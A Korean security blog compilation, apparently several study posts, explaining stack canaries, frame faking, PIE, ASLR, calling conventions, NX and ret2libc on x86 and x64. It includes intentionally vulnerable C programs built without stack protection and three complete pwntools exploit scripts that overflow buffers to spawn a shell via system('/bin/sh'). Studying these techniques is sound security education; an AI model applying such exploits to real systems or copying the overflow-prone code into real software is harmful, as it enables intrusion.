스택 카나리는 함수의 프롤로그에서 스택 버퍼와 반환주소 사이에 임의의 값을 삽입하여 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법이다. 만약 카나리값의 변조가 확인되면 프로세스는 강제로 종료된다.

 

카나리 보호기법을 확인하기 위한 코드는 다음과 같다.

#include <stdio.h>

int main()
{
	char buf[8];
	read(0, buf, 32);
	return 0;
}

컴파일 할때 기본적으로 카나리 보호기법이 적용되며, -fno-stack-protector 옵션을 적용해야 카나리 없이 컴파일을 할 수 있다.

카나리 보호기법이 적용된 바이너리와 적용되지 않은 바이너리에 긴 입력값을 주었을 때의 결과는 다음과 같다.

gdb로 main 함수를 비교하면 다음과 같다.

오른쪽이 카나리 보호기법을 적용한 바이너리의 main 함수이다. 

프롤로그 부분에서 다음의 코드가 추가되었고,

   0x000000000040059e <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004005a7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004005ab <+21>:	xor    eax,eax

에필로그 부분에서 다음의 코드가 추가되었다.

   0x00000000004005cd <+55>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004005d1 <+59>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004005da <+68>:	je     0x4005e1 <main+75>
   0x00000000004005dc <+70>:	call   0x400460 <__stack_chk_fail@plt>

추가된 프롤로그(main+8)에 bp를 걸고 실행한 후 코드를 한 줄 실행하면 rax에 첫바이트가 널바이트인 8바이트 데이터가 적용되어 있는 것을 확인할 수 있다.

생성된 8바이트 데이터는 main+17줄의 코드에서 rbp-0x8의 위치에 저장된다.

이후 main+55에 bp를 걸고 실행하여 정상적인 입력값을 주게 되면 에필로그 부분에서 rbp-0x8에 저장된 카나리 값을 rcx로 옮기고 fs:0x28에 저장된 카나리와 xor 연산을 한다. 두 값이 동일하면 0이 나오므로 main+75로 점프하면서 프로그램이 정상 종료된다.

 

만약 긴 입력값이 들어가 카나리 값이 있는 rbp-0x8의 데이터가 변조되면 xor 연산에서 0이 아닌값이 나오므로 main+68의 __stack_chk_fail함수를 실행하며 프로세스가 강제로 종료된다.

 

Frame faking은 가짜 스택 프레임 포인터를 만들어 프로그램의 실행 흐름을 제어하는 것이다. Return Address영역 까지만 덮어쓸 수 있을 경우 사용 가능하다.

 

LEAVE & RET

LEAVE 명령어는 RBP(EBP) 레지스터에 저장된 값을 RSP(ESP)레지스터에 저장한다. RSP(ESP)레지스터가 가리키는 Stack영역의 값을 RBP(RSP) 레지스터에 저장한다.

LEAVE 명령을 어셈으로 표현하면 다음과 같다.

MOV RSP, RBP
POP RBP

RET 명령어는 RSP(ESP)레지스터가 가리키는 스택 영역의 값을 RIP(EIP)레지스터에 저장하고, JMP명령어를 이용해 RIP(EIP)에 저장된 영역으로 이동한다.

POP RIP
JMP RIP

아래의 코드를 이용해 LEAVE, RET의 동작을 확인할 수 있다.

#include <stdlib.h>
#include <stdio.h>

void vuln(int a, int b, int c, int d)
{
    printf("%d, %d, %d, %d", a, b, c, d);
}

void main(int argc, char* argv[])
{
    vuln(1,2,3,4);
}

위 코드를 컴파일 한 후 gdb로 실행하여 다음과 같이 bp를 설정한다. -m32옵션을 이용하여 32비트로 컴파일 하였다.

0x804843d(main+13) : main()함수에서 사용할 Frame Pointer를 EBP 레지스터에 저장한 후

0x804840e(vuln+3) : vuln()함수에서 사용할 Frame Porinter를 EBP레지스터 저장한 후

0x804842e(vuln+35) : leave 명령어

첫 번째로 설정한 bp까지 실행하면 다음과 같다.

main() 함수에서 사용할 Frame Pointer 주소는 0xffffd048이다. 0xffffd048영역에는 값이 저장되어 있지 않고, 0xffffd04c영역에 Return Address(0xf7e21647)가 저장되어 있다. 이 Return Address는 main함수가 종료된 후 이동할 주소이다.

다음 bp(vuln+3)까지 실행하면 다음과 같다.

vuln()함수에서 사용할 Frame Pointer의 주소는 0xffffd028이다. 0xffffd028 영역에는 main함수에서 사용하던 Frame Pointer의 주소값이 저장되어 있고, 0xffffd02c 영역에는 Return Address(0x0804844e)가 저장되어 있다. 이 Return Address는 vuln()함수가 종료된 후 이동할 주소이다.

다음 bp(vuln+35)까지 실행하면 다음과 같다.

vuln()함수에서 사용하던 Frame Pointer의 주소를 ESP에  저장한다. ESP레지스터에 저장된 Stack 영역에서 값을 추출해서 EBP레지스터에 저장한다. main() 함수에서 사용하던 Frame Pointer의 주소를 EBP에 저장하는 것이다.

다음과 같이 ret 명령어의 동작을 확인할 수 있다.

ESP 레지스터에 저장된 스택 영역에서값을 추출하여 EIP레지스터에 저장하고 EIP레지스터에 저장된 값으로 이동한다. EIP레지스터는 다음 실행할 명령어가 존재하는 메모리 주소를 저장하는 레지스터로 현재 명령어가 실행 완료되면 EIP레지스터에 저장된 주소에 위치한 명령어를 실행한다.

 

Frame Faking 

다음 코드를 이용하여 frame faking의 동작을 확인할 수 있다.

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln()
{
    char buf[50];
    printf("buf[50] address : %p\n", buf);
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    // dlsym() : symbol과 연관된 주소값 반환, 컴파일 할때 -ldl 옵션을 사용해야 함
    // RTLD_NEXT : symbol과 일치하는 다음 함수의 포인터를 반환
    printf("Printf() address : %p\n", printf_addr);
    read(0, buf, 70);
}

void main()
{
    vuln();
}

Stack address, Libc address를 출력하고, read()함수를 이용해 사용자로 부터 70개의 문자를 입력받는다. 이로 인해 Return address 까지 값을 덮어쓸 수 있다.

gcc -m32 -fno-stack-protector -o ff ff.c -ldl 명령으로 컴파일 한다.

gdb로 0x08048571(vuln+86)에 bp를 설정하고 문자 70개를 입력하여 Frame Pointer, Return Address 영역을 덮어쓴다.

leave 명령어는 vuln()함수에서 사용하던 Frame Pointer의 주소(0xffffd038)를 ESP에 저장하고, EBP 레지스터에 저장된 Stack  영역 (0xffffd038)에서 값을 추출하여 EBP 레지스터에 저장한다. 원래는 main()함수에서 사용하던 Frame Pointer의 주소가 EBP에 저장되어야 하지만 지금 해당 영역은 overflow에 의해 0x41414141(AAAA)가 저장되어있다.

다음과 같이 Frame faking를 확인하기 위해 Return address 영역에 leave 명령어가 저장된 주소를 저장한다.

위와 같이 저장한후 실행하면 다음과 같다.

overflow에 의해 변경된 Frame Pointer(0x41414141)를 ESP에 저장한다.

leave 명령어가 다시 호출 됨으로써 ESP 레지스터의 값을 변경할 수 있으므로 코드의 흐름도 변경할 수 있다.

 

버퍼시작점 + 4 영역에 RTL 코드를 넣고 Frame Pointer 영역에 "RTL 코드가 저장된 주소 - 0x4" 주소를 저장하고, Return Address 영역에 leave 명령어가 저장된 주소를 저장하면 구조는 다음과 같다.

Return Address 영역에는 leave 명령어의 주소가 저장되어 있으므로 leave 명령어를 다시 실행하고, leave 명령어는 EBP레지스터에 Stack overflow로 인해 0x90909090(더미값) + RTL 코드가 저장되어 있고, 해당 값은 ESP에 저장되고 POP 명령에 의해 ESP의 값이 0x4 증가하면서 ESP는 RTL 코드를 가리키게 된다. leave 명령 실행 후 ret 명령이 실행되면 시스템 함수의 주소를 EIP에 저장하면서 RTL이 동작하게 된다.  

 

다음과 같이 필요한 offset들을 구하고 익스코드를 작성하면 쉘을 딸 수 있다.

from pwn import *

p = process('./ff')

p.recvuntil('buf[50] address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr, 16)

p.recvuntil('Printf() address : ')
libc = p.recvuntil('\n')
libc = int(libc, 16)

leave = 0x08048571

libcBase = libc - 0x49030
sysAddr = libcBase + 0x3a950
exit = libcBase + 0x2e7c0
binsh = libcBase + 0x15912b

ex = p32(0x90909090)
ex += p32(sysAddr)
ex += p32(exit)
ex += p32(binsh)
ex += '\x90' * (62 - len(ex))
ex += p32(stackAddr)
ex += p32(leave)

p.send(ex)
p.interactive()
# libc start : 0xf7e04000
# /bin/sh : 0xf7f5d12b
# printf : 0xf7e4d030

# libc base : 0x49030
# sys offset : 0x3a950
# exit offset : 0x2e7c0
# binsh offset : 0x15912b

PIE(Position Independent Executable)는 위치 독립 실행이라는 뜻으로 바이너리가 실행될 때 마다 바이너리의 주소가 랜덤화 된다. 

다음의 소스코드를 컴파일 하여 PIE를 테스트 할 것이다.

#include <stdio.h>
  
char *gBuf = "Lazenca.0x0";
  
void lazenca() {
    printf("Lazenca.0x1\n");
}
  
void main(){
    printf("[.data]    : %p\n",gBuf);
    printf("[Function] : %p\n",lazenca);
}

다음과 같이 컴파일 하여 하나는 PIE를 적용하지 않고, 다른 하나는 PIE를 적용하도록 하였다.

PIE보호기법을 적용하려면 gcc에서 -fPIE와 -pie 옵션을 적용하면 된다.

PIE가 적용되지 않은 파일은 다음과 같이 실행할 때 마다 전역변수와 사용자 정의 함수의 주소가 변경되지 않는다.

PIE가 적용된 파일은 실행할 때 마다 전역변수와 사용자 정의 함수의 주소가 변경된다.

PIE 보호기법이 적용되어 있지 않다면 다음과 같이 코드 영역의 값이 고정된 주소값이다.

PIE 보호기법이 적용된 바이너리는 코드 영역의 값이 offset 값이여서 할당된 메모리 영역에 동적으로 위치한다.

ASLR(Address Space Layout Randomization)은 메모리 손상 취약점 공격을 방지하기 위한 기술이다. 스택, 힙, 라이브러리 등의 주소를 랜덤한 영역에 배치하여 공격에 필요한 Target address를 예측하기 어렵게 만든다. 프로그램이 실행될 때 마다 각 주소들이 변경된다. 

 

ASLR은 /proc/sys/kernel/randomize_va_space 파일에서 설정하며 0 은 ASLR 해제, 1은 랜덤스택, 랜덤 라이브러리 설정, 2는 랜덤 스택, 랜덤 라이브러리, 랜덤 힙을 설정한다. 

ASLR을 확인하기 위해 다음과 같은 코드를 작성하고 컴파일한다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *global = "aslr.test";

int main()
{
    char *heap = malloc(100);
    char *stack[] = {"ASLR"};

    printf("[Heap] address : %p\n", heap);
    printf("[Stack] address : %p\n", stack);
    printf("[libc] address : %p\n", **(&stack + 3));
    printf("[.data] address : %p\n", global);
    gets(heap);
    return 0;
}

다음과 같이 randomize_va_space 파일을 0으로 설정하면 프로그램을 실행할 때 마다 heap, stack, libc 주소 영역이 변경되지 않는다.

randomize_va_space 파일을 1로 설정하면 힙 주소는 고정되어 있고, 스택과 libc 주소만 바뀌는 것을 확인할 수 있다.

randomize_va_space 파일을 2로 설정하면 

heap, stack, libc 주소가 모두 바뀌는 것을 확인할 수 있다. 

2로 설정해도 .data의 주소는 변하지 않는다. .data영역의 주소도 매번 무작위의 주소로 할당하려면 PIE보호기법을 적용해야 한다.

Solaris, Linux, FreeBSD, MacOS 에서는 System V AMD64 ABI 호출 규약을 사용한다. 해당 호출 규약은 다음과 같은 특징이 있다.

레지스터 RDI, RSI, RDX, RCX, R8 및 R9는 정수 및 메모리 주소 인수가 전달된다. 

레지스터 XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6및 XMM7은 부동 소수점 인수가 전달된다. 반환값은 EAX에 저장된다.

 

System V AMD64 ABI 함수 호출 규약을 확인하기 위해 코드로 확인해보면 다음과 같다.

//gcc -o test test.c
#include <stdlib.h>
#include <stdio.h>
 
void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}
 
void main(){
        vuln(1,2,3,4);
}

다음과 같이 각 레지스터에 저장된 vuln()함수의 인자 값을 확인할 수 있다.

vuln()함수는 printf()함수에 인자를 전달하기 위해 인자를 재배치 한다. printf()함수의 첫 번째 인자는 "%d, %d, %d, %d"이다.

printf()함수 호출하기 바로 전에 bp를 걸고 실행하여 각 레지스터에서 printf()함수에 전달되는 인자값을 확인할 수 있다.

rdi 주소에 저장된 값을 확인해보면 printf()함수의 첫 번째 인자인 "%d %d %d %d"임을 확인할 수 있다.

 

ret2libc 기법을 사용하기 위해서는 각 레지스터에 값을 저장할 수 있어야 한다. 

다음과 같은 방법으로 레지스터에 값을 저장할 수 있다.

- Return Address영역에 "pop rdi, ret" 코드가 저장된 주소 값을 저장한다.

- Return Address 다음 영역에 해당 레지스터에 저장할 인자 값을 저장한다. 

- 그 다음 영역에 호출할 함수의 주소를 저장한다.

이와 같은 방식을 ROP(Return-oriented programming)라고 한다. 

 

다음과 같은 구조로 ret2libc를 사용할 수 있다.

 

Return to Shellcode를 확인하기 위해 다음 코드를 사용한다.

// gcc -fno-stack-protector -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50] = "";
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 100);
}
 
void main(){
    vuln();
}

main 함수는 vuln()함수를 호출한다. vuln()함수는 read()함수를 이용해 사용자로부터 100개의 문자를 입력받는다. 입력받는 변수인 buf의 크기가 50바이트이기 때문에 Stack Overflow가 발생한다. 

다음과 같이 3곳에 bp를 설정한다. 

vuln+0 : vlun()함수의 첫번째 명령어(vlun 함수 시작)

vuln+106 : read()함수 호출

vuln+113 : vlun()함수의 RET명령어

첫 bp까지 실행하면 다음과 같다.

rsp레지스터가 갖고 있는 최상위 stack의 주소는 0x7fffffffde58이다. 0x7fffffffde58 영역에는 Return Address(0x4006f6)이 저장되어 있다.

다음 bp까지 실행하면 다음과 같다.

buf 변수의 위치는 0x7fffffffde10 이며, Return Address의 위치와 72바이트 떨어져 있기 때문에 입력값을 72바이트 이상 입력하면 Retuen Address를 덮어쓸 수 있다.

위와 같이 72바이트 이상 입력하면 Return Address 값이 변경된 것을 확인할 수 있다.

 

다음과 같이 libc 영역에서 system()함수 주소를 찾을 수 있다.

다음과 같이 "/bin/sh" 문자열을 찾을 수 있다.

다음과 같이 ROP gadget을 찾을 수 있다.

 

찾은 정보들로 익스 코드를 작성하면 다음과 같다.

from pwn import *

p = process('./ret2libc64')

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

libcBase = stackAddr - 0x55810
sysAddr = libcBase + 0x453a0
binsh = libcBase + 0x18ce17
poprdi = 0x400763

print hex(libcBase)
print hex(sysAddr)
print hex(binsh)
print hex(poprdi)

ex = "A" * (80 - len(p64(sysAddr)))
ex += p64(poprdi)
ex += p64(binsh)
ex += p64(sysAddr)

p.send(ex)
p.interactive()

'Security & Hacking > Technical & etc.' 카테고리의 다른 글

[Pwnable] Frame faking(Fake EBP)_Lazenka  (0) 2021.05.24
[Pwnable] PIE 보호기법  (0) 2021.05.13
[Pwnable] ASLR 보호기법  (0) 2021.05.08
[Pwnable] RTL(Retrun To Libc) x86 _ Lazenca  (0) 2021.04.23
[System] DEP(NX bit)  (0) 2020.11.13

RTL은 Retuen Address 영역에 공유 라이브러리 함수의 주소로 변경해 해당 함수를 호출하는 방식이다. 이 기법을 통해 NX 보호기법을 우회할 수 있다.

공유 라이브러리는 컴파일을 할때 링커가 실행 파일에 사용할 공유 라이브러리를 표시하면 그 라이브러리에 있는 컴파일 된 코드를 가져와 사용한다. 리눅스는 기본적으로 공유 라이브러리가 있으면 그것과 링크를 시키고, 없으면 정적 라이브러리로 링크 작업을 한다.

인텔 x86 시스템, 리눅스 커널에서는 Cdecl 호출 규약을 사용한다. 이 호출 규약은 함수의 인자값을 stack에 저장하며 오른쪽에서 왼쪽 순서로 스택에 저장한다. 함수의 반환 값은 EAX 레지스터에 저장된다. 사용된 스택 정리는 해당 함수를 호출한 함수가 정리한다.

다음 코드를 32비트로 컴파일하고 gdb로 어셈블리 코드를 보면 다음과 같다.

// gcc -m32 -o test test.c
#include <stdio.h>
#include <stdlib.h>

void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}

void main(){
        vuln(1,2,3,4);
}

다음과 같이 스택에 저장된 vlun 함수의 인자값들을 확인할 수 있다. vlun함수 실행전인 main+35에 breakpoint를 걸고 esp를 확인했다.

vuln 함수의 어셈 코드를 보면 다음과 같다.

push ebp로 main 함수에서 사용하던 호출 프레임을 스택에 저장한다. 이전 함수에서 사용하던 호출 프레임은 ebp 레지스터에 저장되어 있다. mov ebp, esp로 vlun 함수에서 사용할 새 호출 프레임이 ebp레지스터에 초기화 된다. ebp 레지스터를 통해 main 함수에서 전달된 인자값을 사용할 수 있다.

DWORD PTR [ebp+*] 영역으로 각각의 인자값을 확인할 수 있다.

ret2libc 기법 사용시 인자값을 전달하려면 Return Address의 4바이트 뒤에 인자 값을 전달해야 한다.

다음과 같이 코드를 작성하고 컴파일 하여 Return to Shellcode를 확인할 수 있다.

// gcc -fno-stack-protector -m32 -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50] = "";
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 100);
}

void main(){
    vuln();
}

vuln 함수에서 buf 의 크기는 50이지만, read함수로 100크기의 문자를 받으므로 Stack Overflow 취약점이 발생할 수 있다.

gdb로 vuln 함수를 확인하면 다음과 같다.

breakpoint를 지정할 위치는 vuln의 시작점인 vuln+0, read함수를 호출하는 vuln+123, vurn함수의 ret명령이 있는 vuln+139의 세 위치를 지정할 것이다.

다음과 같이 Return Address를 확인할 수 있다.

첫번째 bp 까지 실행시킨 후 esp 레지스터가 가리키고 있는 최상위 스택의 주소는 0xffffd0cc이다. 이 0xffffd0cc 영역에 Return Address(0x56555659)가 저장되어 있다.

두번째 bp(read함수 호출)까지 실행하면 다음과 같이 buf 변수의 위치를 확인할 수 있다.

buf 변수의 위치는 0xffffd07a 이고, Return Address와 82바이트 떨어져 있다.

다음과 같이 82바이트 이상의 값을 넣으면 Return Address의 값이 변경됨을 확인할 수 있다.

system()함수는 인자 값으로 실행할 명령어의 경로를 문자열로 전달받는다. RTL기법으로 shell을 실행하려면 "/bin/sh"문자열을 전달하면 된다.

다음과 같이 libc 영역에서 system()함수를 찾을 수 있다.

또한 다음과 같이 libc start address를 찾을 수 있다. libc start address는 heap 영역 다음에 있다.

printf의 주소는 0xf7e29430 이므로 libc base 주소와 시스템 함수 주소의 오프셋은 다음과 같다.

또한 다음과 같이 "/bin/sh"문자열을 찾고, libc 시작 주소에서 "/bin/sh"까지의 오프셋도 구할 수 있다.

따라서 다음과 같이 익스 코드를 작성하면 쉘을 딸 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
= process("./ret2libc")
 
p.recvuntil("Printf() address : ")
stackaddr = p.recvuntil("\n")
stackaddr = int(stackaddr, 16)
 
libcbase = stackaddr - 0x51430
sysaddr = libcbase + 0x3d2e0
binsh = libcbase + 0x17e0af
 
print hex(libcbase)
print hex(sysaddr)
print hex(binsh)
 
exploit = "A" * (86 - len(p32(sysaddr)))
exploit += p32(sysaddr)
exploit += 'BBBB'
exploit += p32(binsh)
 
p.send(exploit)
p.interactive()
cs

 

'Security & Hacking > Technical & etc.' 카테고리의 다른 글

[Pwnable] Frame faking(Fake EBP)_Lazenka  (0) 2021.05.24
[Pwnable] PIE 보호기법  (0) 2021.05.13
[Pwnable] ASLR 보호기법  (0) 2021.05.08
[Pwnable] RTL(Retrun To Libc) x64_ Lazenca  (0) 2021.04.26
[System] DEP(NX bit)  (0) 2020.11.13

메모리(스택, 힙) 영역에서 쉘 코드의 실행을 막는 보호 기법이다. 

윈도우에서는 DEP (Data Execution Prevention) 라고 불리고, OS X나 리눅스에서는 NX(No-eXcute) bit 이라고 부른다.

이 보호기법이 적용되어 있으면 쉘 코드가 있어도 예외처리가 발생하여 실행되지 않고 종료된다. 

+ Recent posts